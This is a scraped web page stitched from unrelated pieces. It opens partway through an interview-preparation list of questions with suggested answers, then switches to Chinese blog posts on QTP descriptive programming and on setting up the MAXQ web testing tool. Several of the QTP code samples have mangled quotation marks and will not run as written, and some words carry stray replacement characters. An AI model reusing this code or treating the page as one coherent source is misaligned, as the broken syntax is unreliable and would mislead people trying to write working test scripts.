    Try to delay answering this until you have learned more about the job and can estimate, based on previous research, the salary range this company endorses for similar positions. If you feel obliged to answer, you might reply in this way. "You are aware of what I have been earning at Ajax, and I would hope that coming to Acme would be a progressive step. Perhaps, we can go into this question in more depth when have a better idea of what the job responsibilities and scope would be."


    7. What are your ambitions for the future?

    Indicate your desire to concentrate on doing the immediate job well - and your confidence that the future will then be promising. You do not want to convey that you have no desire to progress, but you need to avoid statements that are unrealistic, or that might threaten present incumbents.


    8. What do you know about our company?

    You've done your homework, and have studied all that is publicly available about Acme and are thus aware of many published facts. However, you might state that you would like to know more; then be prepared to ask intelligent questions. Avoid a recitation of the facts, incorporate personal remarks and specific questions to facilitate a lively exchange of information.


    9. Why are you seeking a position with our company?

    Indicate that from your study of the company, many of the activities and problems are the sort that would give you a chance to contribute to the company through your experience and skills. If you honestly can, express your admiration for the company and what it is that appeals to you.


    10. What qualifications do you have that you feel would make you successful here?

    If this question is asked after you have sufficient information about the position, talk about two or three of your major skills (supported by accomplishments) which you believe will be useful in the position. If the question is asked earlier talk about two or three of your major skills and relate them to the extent that you can to the company. Gauge the amount of detail for this and other answers by the time frame set by the interviewer for your meeting and by his or her signals as to how much information is enough.


    11. What things are most important to you in a job?

    Use information developed in your knowledge of the company and relate it to the position, if you know the details of the position. If not, use a corporate" answer: "to be challenged," "part of the team," etc.


    12. How would you describe your personality?

    Mention only 2 or 3 of your most useful traits. Remember that the interviewer is trying to determine your "fit" in the company. Your ability to accurately identify their corporate values will enable you to frame your response appropriately


    13. How long would it take you to make a meaningful contribution to our firm?

    Be realistic and speak in terms of 6 months to a year. Again, the timing of the question is important. Do you know enough about the specific position to give a cogent response? (If it's a new, undefined job, even 6 months to a year may be overly optimistic.)


    14. Don't you feel you might be over-qualified or too experienced for the position we have in mind?

    Most of the time this question really means: I am afraid you are willing to take this job because you need a job and you will leave as soon as you get a better job offer. Your answer must address this concern.

    Example: "You could be right, but having taken a voluntary early retirement from XYZ Company, I am in the fortunate position of being able to do what gives me the greatest satisfaction; and what I enjoy doing most is - (describe the contents of the job). The additional advantage to you if you hire me is that extra qualification and experience will be available for you to use when necessary."

    15. What is your management style?

    No doubt you defined your management style as part of your assessment and have talked about it with your consultant. You might want to talk about how you set goals and then get your people involved in them. Also, describe the techniques that you like to use to bring out the best in people, using the most appropriate style to fit the situation. Your research may have given you a sense of whether the company believes in a highly participative style, or is more authoritarian in its approach. If you don't know the company's style, keep your answer "soft" and situational.


    16. Describe a situation in which you had a difficult management problem and how you solved it.

    Relate one of your accomplishments, which had to do with this kind of situation. Depending on the organization's culture and needs, highlight conflict management, team building, or staffing.


    17. As a manager, what do you look for when you hire people?

    Their skills, initiative, adaptability - whether their chemistry fits with that of the organization." Responding in this way mirrors the interviewer's need to determine what you can do, will do, and how you fit into their organization.


    18. As a manager, have you ever had to fire anyone? If so, what were the circumstances and how did you handle it?

    If you have, answer in brief that you have indeed had experience with this problem and that it worked out to the benefit of both the individual and the organization. You followed the company's disciplinary procedures carefully before proceeding to termination. (The company may be concerned about discrimination and legal issues.) Don't go into the details unless the interviewer asks for more information. If you have never fired anyone, say so, but talk about how you would utilize progressive discipline before resorting to termination to protect the company's best interests.


    19. What do you see as the most difficult task in being a manager?

    Your answer might address getting things done through others; getting things planned and done on time; within the budget; or other management issues. Since budget management is a valuable transferable skill, you might wish to work your abilities in this area into the discussion if appropriate. Be guided by the interviewer's I-Speak style and the needs and culture of the organization in determining what to stress in your answer.


    20. Describe some situations in which you've worked under pressure or met deadlines.

    Refer to your accomplishments. Discuss one or two in which you were especially effective in meeting deadlines or dealing with high-pressure situations.


    21. Tell me about a work situation that irritated you.

    Talk about this type of situation in terms of the skills you used to manage and improve it. Avoid describing a work situation you know exists in your target company unless you want to emphasize that you can improve or eliminate it Stress your ability to '' stay cool" under pressure.


    22. Tell me about an objective in your last job which you failed to meet and why.

    This question assumes that you failed to meet some of your objectives. If you can honestly state that you met all your established objectives, say so. If there was an objective, which you were unable to meet for legitimate reasons, discuss it with an explanation of the obstacles over which you had no control. Even better, discuss an objective which you "renegotiated" when you realized it could not be met because of obstacles beyond your control.


    23. Would you describe a few situations in which your work was criticized?

    Describe only one, and tell how you have corrected or plan to correct the issue. Do not go into detail. If the interviewer wants more detail let them ask for it.


    24. What have you learned from your mistakes?

    Discuss one or two situations where you successfully transformed a mistake or error in judgment into a learning experience.Emphasize the positive result, with the error as the learning catalyst.


    25. What important trends do you see coming in our industry?

    Choose two or three important developments to discuss. This is your chance to show that you have thought about the future, the economics, the markets, and the technology of the industry.


    26. Why are you leaving your present job?

    If you had the opportunity to cover this in your 2-minute self-introduction, there's a good chance the question will not be asked. Regardless of when it is asked, it must be answered briefly. If it was a force reduction due to economic circumstances, make that clear. If possible, explain how your termination was part of a larger movement. When you have finished answering, let it go. Refrain from analyzing any friction points with your boss.


    27. Describe what you feel would be an ideal working environment.

    This is a place where you can bring in some of your own values and personal experiences. But don't make it sound too sublime or impractical. Downplay the negative.


    28. Looking back. How do you perceive your past employer? Be positive.

    Refer to the valuable experience you have gained. "It is an excellent company which has given me a lot of good experience and opportunities to perform."


    29. What have you done that helped increase sales or profit? How did you go about it?

    This is your chance to describe in some detail a business accomplishment that is relevant to the proposed new job. Feel free to dwell on this.


    30. How much financial responsibility have you had to account for?

    You can answer this in terms of your budget or head-count or the size of the project or sales that you directed


    31. How many people have you managed on your recent jobs?

    Be specific - and feel free to refer to those over whom you had influence, such as a task force or a matrix organization.


    32. Give examples of times when you were a leader.

    Draw examples from accomplishments, which demonstrate your leadership skills.


    33. How do you think your subordinates perceive you?

    Be as positive as you can, referring to your strengths, skills and traits, remember to be honest. References are easily checked.


    34. In your last position, what were the things that you liked most? And liked least?

    Respond with care to this question. You'll have the information from your satisfiers/dissatisfiers, but you'll want to emphasize the positive and not talk at length about the negatives.


    35. In your recent position, what were some of your most significant accomplishments?

    Since you have already selected the specific accomplishments you want to talk about, this question will be easy for you. Be ready to describe three or four of them in detail. When possible, try to relate your answer to the nature of the new challenges you might be facing.


    36. Why haven't you found a new position after so many months?

    You may find this question offensive, but do not take it personally. Simply give a brief answer, "Finding just any job is not too difficult, but finding the right job takes care and time," and move on.


    37. What do you think of your previous boss?

    Be as positive as you can, and avoid becoming embroiled in this issue. This is a loaded question because most bosses avoid a contentious or difficult subordinate. If you like the individual, say so and tell why. If you don't, think of something positive to say.


    38. If I spoke with your previous boss, what would he or she say are your greatest strengths and weaknesses?

    Be consistent with what you think he or she would say. Position any weakness in a positive way. Your old boss will probably want to give you a good reference, so recount some of the good things you did for him or her.


    39. In your most recent position, what problems did you identify that had previously been overlooked?

    Refer to accomplishments listed on your resume. Keep answers brief and include how the accomplishment was obtained.


    40. If you had your choice of jobs or companies, where would you land?

    Talk about the target job and what is attractive in the company that is interviewing you.


    41. What do you feel you should earn in the proposed position?

    You may want to answer this with a question, such as, "What is the typical salary range for similar jobs in your company?" Or, "I consider myself to be a better than average, so I would expect to receive an offer that would be better than the midpoint of the salary range for the position." If there is no range in the company, give the range that you had in mind. But qualify it by saying you hope to learn more about the job responsibilities and scope.


    42. If we were to offer you this position, what changes would you make in your organization?

    The timing of this question is critical, since you can't give any specific answer without knowing some details about the position, organization and culture. Even if you do, be careful about describing sweeping changes you might want to make. Unless the interviewer has specified critical problem areas that you feel comfortable addressing, limit your answer to explaining the need to study the current organization, talk with staff, and fully assess the implications before recommending any changes.


    43. Do you have any objections to taking our battery of psychological tests?

    "No, none at all." (This is an indication that you are a serious candidate.)


    44. What other types of jobs or companies are you considering at this time?

    Don't feel obliged to reveal details of your other negotiations. If you are interviewing elsewhere refer to your campaign in a general way. But concentrate mainly on the specific job for which you are interviewing.


    45. What sort of outside reading do you do?

    Be honest. If possible, mention some of the things you read in order to keep yourself up-to-date in your professional field. However, it is okay to show balanced interests by mentioning your recreational reading as well.


    46. What motivates you the most?

    Use the results of your career anchors and career assessment, but keep your answer fairly general: the satisfaction of meeting the challenges of the position, developing teams and individuals, meeting organizational goals. (Only if you are in sales would you mention money as a motivator.)


    47. Give one or two examples of your creativity.

    Refer to accomplishments that relate to the company and the position, if possible.


    48. What are your long-range goals?

    Relate your answer to the company you are interviewing with, rather than give a very broad, general answer. Keep your ambitions realistic. Talk first about doing the job for which you are applying, then talk about longer-range goals.


    49. What sort of relationships do you have with your associates, both at the same level and above and below you?

    This is a very important question, so you will want to take the time to answer it in logical steps. When talking about your relationships with subordinates, be prepared to state your management philosophy, particularly with regard to performance issues. When speaking of bosses, indicate your keen interest in understanding your boss's expectations, so that you and your organization can build your goals in a way that will support his/her goals. You may also want to talk about how you would keep your boss informed. Stress your team-building, mutually cooperative approach with peers.


    50. What are some of your outside activities or recreations?

    Hopefully, your answer can show that you lead a balanced life. But avoid mentioning so many activities that it casts some doubt on how much time you will have for the job. Remember that your hobbies and recreation activities can be quite revealing as to your own personality and values.
  • QTP描述性编程(descriptive programming)<转>

    kevin_swpi 发布于 2007-01-09 22:46:59

    描述性编程(descrīptive programming)

    1、descrīptive programming概述

    通常情况下,当在录制一个操作时,QTP会将被操作对象加入到对象库里(Object Repository)。一旦对象存在于对象库里,我们就可以在专家视图里通过添加相关的对象方法来对该对象进行操作。我们可以通过引用层次型对象库里的对象描述(Object Descrīption)来添加相应的方法。

    因为QTP对象库中的每个对象都具有唯一名称,所以在引用时对象名是必须需要指定的。然后在测试运行期间,QTP在对象库中根据这个对象的名称和父对象来查找对象,并使用为这个测试对象存储的测试对象描述,在网站或应用程序中标识该对象。

    例如我们用QTP录制Yahoo Mail登录情况时我们需要输入用户名,于是在录制时我们就会录下一个WebEdit对象,它的缺省逻辑名为“login”,该编辑字段位于名为“Yahoo! Mail - The best” 的页面上,并且该页面在浏览器中使用名称Yahoo!进行录制。

    那么如果我们想要应用该对象,就可以在专家视图输入以下信息:

    Browser("Yahoo!").Page("Yahoo! Mail - The best").WebEdit("login").Set “xxx”

    或者我们也可以调用一些方法,获取改对象在运行时的对象名,如:

    Browser("Yahoo!").Page("Yahoo! Mail - The best").WebEdit("login").GetROProperty(“name”)

    然而,我们可以发觉到,上面的例子在处理对象时,对象已经存在于对象库里,因此我们可以应用这个对象的逻辑名。实际使用中,情况往往并非如此简单,我们经常会遇到很多在页面上动态产生的对象,换而言之,对象库里没有这些对象,我们也无从引用。因此我们必须采用其他的技术来完成这类操作,这也就是我们需要讲解的Descrīptive Programming。

    为了满足上面提到的动态对象的处理问题,QTP允许用户通过将对象属性编码到测试脚本里来动态识别对象,这就是我们通常意义下称为的Descrīptive Programming。通过这种方式,我们可以指示QTP不通过引用对象库和对象名来对实际对象进行操作。具体操作中,我们只需要为QTP提供对象的一组属性和值,这样QTP就可以来识别相应的对象并对其进行操作。这相当于,告诉QTP要识别对象的一些关键特征,根据这些特征QTP就可以一一匹配然后识别出来这个对象。

    而且,更为重要的是,通过这种Descrīptive Programming的方式,还可以让QTP识别具有某些相同属性的对象。我们先来举个例子来看一下:我们假设当前的Windows系统中打开了若干的Yahoo主页面(多于一个),现在我们要关闭所有的正在浏览Yahoo主页面的浏览器。

    对于上面那个例子来说,我们先看一个简单一点的情况,假设只有且仅有一个Yahoo主页面:那么我们可以用下面的方法来

    Window("Text:=Yahoo! - Microsoft Internet Explorer").Close

    我们可以看到语句里我们要查找的对象是Window窗口标题为“Yahoo! - Microsoft Internet Explorer”,然后把它关闭,具体的语法说明我们稍后为解释。但是上面的语句仅仅适合前面提到的条件“只有且仅有一个Yahoo主页面”,如果有多个同样的窗口就会出错,原因是通过语句可以匹配到多个对象,而QTP不知道应该对哪个对象进行关闭动作。我们需要进一步的缩小匹配范围:

    Dim i

    i = 0

    while (Window("Text:="Yahoo!" - Microsoft Internet Explorer", "index:="&i).exist)

    Window("Text:=Yahoo! - Microsoft Internet Explorer", "index:="&i).close

    i = i +1

    wend

    这里我们可以看到,对于具有相同属性的对象,我们可以通过index参数来对其进行区别,第一个对象为index=0,第二个为index=1等等,依次类推。当然我们还可以通过CreationTime和Location参数来定位对象,这里就不详细叙述了。

    通过上面的例子,我们对Descrīptive Programming有一个基本了解了,下面我们详细讲解一下Descrīptive Programming:在具体实现中,我们有两种类型的Descrīptive Programming方法。可以列出直接在测试语句中描述对象的属性和值的集合;或者向Descrīption 对象中添加属性和值的集合,然后在语句中输入Descrīption 对象的名称。下面我们分别举例介绍。

     

    2、直接在语句中输入编程描述

    通过多个指定描述对象的property:=value对,可以直接在语句中描述对象,这是最直接有效的方法。

    常规语法为:

    TestObject("PropertyName1:=PropertyValue1", "..." , "PropertyNameX:="PropertyValueX""} 

    TestObject - 测试对象的类。

    PropertyName:=PropertyValue - 测试对象的属性及其值。各个property:="value" 对之间应用逗号和引号分开。

    例如:以下语句指定Mercury Tours 页面中名为author且索引值为3 的WebEdit 测试对象。当测试运行时,QTP 将查找具有匹配属性值的WebEdit 对象,并输入文本jojo。

    Browser("Mercury Tours").Page("Mercury Tours").WebEdit("Name:="Author"", "Index:="3"").Set "Mark Twain" 

    我们也可以从从描述中的特定位置(从Page 对象描述开始)开始使用Descrīptive Programming。

    Browser("Mercury Tours").Page("Title:="Mercury" Tours").WebEdit("Name:="Author"", "Index:="3"").Set "jojo" 

    此外,如果我们希望在在一个测试或组件中多次使用相同的Descrīptive Programming,则可以将创建的对象赋值给变量,这样使用会方便很多。

    例如:我们需要完成下面一系列操作

    Window("Text:=HyperSna").WinButton("Caption:=日期").Click

    Window("Text:=HyperSna").WinButton("Caption:=时间").Click

    Window("Text:=HyperSna").WinButton("Caption:=确定").Click

    那么,为了方便其见,我们可以将Window("Text:=HyperSna")赋值到一个变量,然后再使用,参见下面的代码:

    Set WinHyper = Window("Text:="HyperSna"") 

    WinHyper.WinButton("Caption:=日期").Click

    WinHyper.WinButton("Caption:=时间").Click

    WinHyper.WinButton("Caption:=确定").Click

    如果使用了VBscrīpt里面的With语句,还可以简化为以下代码:

    With Window("Text:="HyperSna"") 

    .WinButton("Caption:=日期").Click 

    .WinButton("Caption:=时间").Click

    .WinButton("Caption:=确定").Click

    End With 

    下面我们来看一个更为详细的例子,在QTP产品缺省安装里面自带了一个网上订机票的示例称为Mercury Tour,我们看一下在订票过程中何时需要用Descrīptive Programming。

    首先登入系统后,如果需要订票,就要先搜索航班,此时系统要求输入订票乘客的数量,假设我们在第一次录制脚本时选择了1个Passenger,并成功完成订票。然后,我们需要参数化乘客数量来测试订票系统,我们会发现回放会失败。原因在于,不同的乘客的数量导致在订票时需要输入每个乘客的姓名,而录制时,只输入了一个乘客的姓名。而乘客姓名的输入框是随着乘客数量的变化而动态生成的,我们不可能从对象库里得到没有录制的对象,因此必须使用Descrīptive Programming。

     
     
      
     


    在录制单个乘客时,我们得到的录制语句是:

    Browser("Welcome: Mercury Tours").Page("Book a Flight: Mercury").WebEdit("passFirst0").Set "Michael"

    Browser("Welcome: Mercury Tours").Page("Book a Flight: Mercury").WebEdit("passLast0").Set "Wang"

    显然WebEdit("passFirst0")和WebEdit("passLast0")是录制时产生的对象并存放到对象库里的。通过对象库,我们可以看到对象的属性如下

     
     
      
     


    系统对于发生多个FirstName时,命名规则是passFirst0,passFirst1…依次类推。因此只要通过简单的Descrīptive Programming就可以完成动态FirstName与LastName的识别工作。这里我们假设参数化的乘客数已经赋值给intPassNum,下面是脚本中的关键语句:

    counter = 0

    For i = 0 to (intPassNum)

    Browser("Find a Flight:").Page("Book a Flight:").WebEdit("name:="passFirst""&i).Set "Michael"

    Browser("Find a Flight:").Page("Book a Flight:").WebEdit("name:="passLast""&i).Set "Wang"

    counter = counter + 1

    Next

     

    3、使用descrīption对象

    使用Descrīption 对象可以返回包含一组Property 对象的Properties 集合对象。Property 对象由属性名和值组成。然后,可以在语句中指定用返回的Properties 集合代替对象名。(每个property 对象都包含一个属性名和值)。

    要创建Properties 集合,可以使用以下语法输入Descrīption.Create 语句:

    Set MyDescrīption = Descrīption.Create() 

    创建Properties 对象(例如,以上示例中的MyDescrīption)后,就可以输入语句,以便在运行会话期间在Properties 对象中添加、编辑、删除或检索属性和值。这样,就可以在运行会话期间,使用动态方法确定哪个属性以及多少个属性应包含在对象描述中。

    在Properties 集合中填充一组Property 对象(属性和值)后,可以在测试语句中指定用Properties 对象代替对象名。

    例如,假设我们需要完成以下一个操作:

    Window("Error").WinButton("text:=OK", "index:="1"").Click

    我们可以通过Descrīption对象来实现同样的功能,参加下面的代码:

    Set MyDescrīption = Descrīption.Create()

    MyDescrīption("text").Value = "OK"

    MyDescrīption("index").Value = 1

    Window("Error").WinButton(MyDescrīption).Click

    Set MyDescrīption = Nothing

    附上一个基本的PDF
  • Web功能测试工具-MAXQ应用简介

    风在吹 发布于 2006-12-06 15:16:44

    前两天在论坛上看到,感觉不错,特此整理了下,发布出来
      MAXQ是开源的Web功能测试工具。他的特点:1)简单易学;2)是一个轻量级的Web功能测试工具;3)可以自动录制WebBrowser提交的请求包,并随时回放;4)MAXQ应用了WebProxy代理方式,不直接录制Web的界面,避免在回放时不能识别控件而造成回放停止。
      我们知道就算是商用重量级的工具同样存在不能准确识别控件,这是困扰着GUI自动测试的技术难题.而MAXQ是一个代理Web服务的角色,不直接录制界面,因此不存在界面控件识别问题;MAXQ录制来自前端向服务器发出的业务请求,不是录制前端界面的操作过程;MAXQ的脚本是行命令方式,回放简单快速。
    MAXQ的基本原理:

    安装
    JDK1.4以上;展开MAXQ到预定目录下即可。
    修改配置:修改maxq.properties;指定WEB应用服务器;remote.proxy.host=192.168.3.41;remote.proxy.port=8080
    指定MAXQ代理
    local.proxy.port=8090
    修改Internet配置
    工具->Internet选项->连接->局域网设置->选择为LAN使用代理服务器,地址栏输入localhost,端口选择8090

    启动MAXQ
    MAXQ的bin目录下,运行maxq.bat
    正常时出现下界面



    录制准备
    设置一个新的录制new->standard scrīpt


    开始录制
    选择test->start recording



    Browser操作
    打开IE
    运行http://localhost,显示需要测试WEB应用


    结束录制
    选择test->stop recording贮存脚本file->save
     
    回放录制
    选择file->open(打开脚本)
    选择test->run
     
    分析测试结果
    查看测试结果界面,成功的话显示Test Ran Successfully
     
    注意事项(1)
    web界面测试
     MAXQ不是测试界面的工具,因此web的界面测试还需要人工测试或应用诸如Winrunner、Testcomplete工具自动测试。
    脚本录制
     当功能已经正确的前提下才录制脚本。
    脚本大小
     从业务上划分,通常把一个完整的业务过程作为录制脚本的对象;
    适宜关联业务流程录制;
    不要把不相关的业务录制在同一个脚本中;
    注意事项(2)
    测试检查
     需要另外加测试点检查
Open Toolbar